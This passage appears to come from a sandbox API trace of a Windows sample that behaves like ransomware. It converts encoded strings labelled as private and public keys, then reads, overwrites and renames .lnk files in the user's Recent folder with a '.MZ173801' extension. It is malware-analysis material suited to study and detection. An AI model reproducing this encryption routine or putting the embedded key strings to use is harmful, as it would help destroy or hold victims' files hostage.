lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.475] GetCurrentThreadId () returned 0xab4 [0151.475] GetCurrentThreadId () returned 0xab4 [0151.475] GetCurrentThreadId () returned 0xab4 [0151.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.476] GetCurrentThreadId () returned 0xab4 [0151.476] GetCurrentThreadId () returned 0xab4 [0151.476] GetCurrentThreadId () returned 0xab4 [0151.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ab [0151.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.476] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ab, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ab, lpOverlapped=0x0) returned 1 [0151.477] CloseHandle (hObject=0x280) returned 1 [0151.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.479] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ab, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ab, lpOverlapped=0x0) returned 1 [0151.480] CloseHandle (hObject=0x280) returned 1 [0151.481] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk.mz173801")) returned 1 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] GetCurrentThreadId () returned 0xab4 [0151.482] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e870a17, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e870a17, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e870a17, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="q3G nDiy4yr.lnk", cAlternateFileName="Q3GNDI~1.LNK")) returned 1 [0151.482] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.482] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e870a17, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e870a17, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e870a17, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x493)) returned 1 [0151.482] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q3g ndiy4yr.lnk")) returned 0x20 [0151.482] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q3G nDiy4yr.lnk", dwFileAttributes=0x80) returned 1 [0151.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 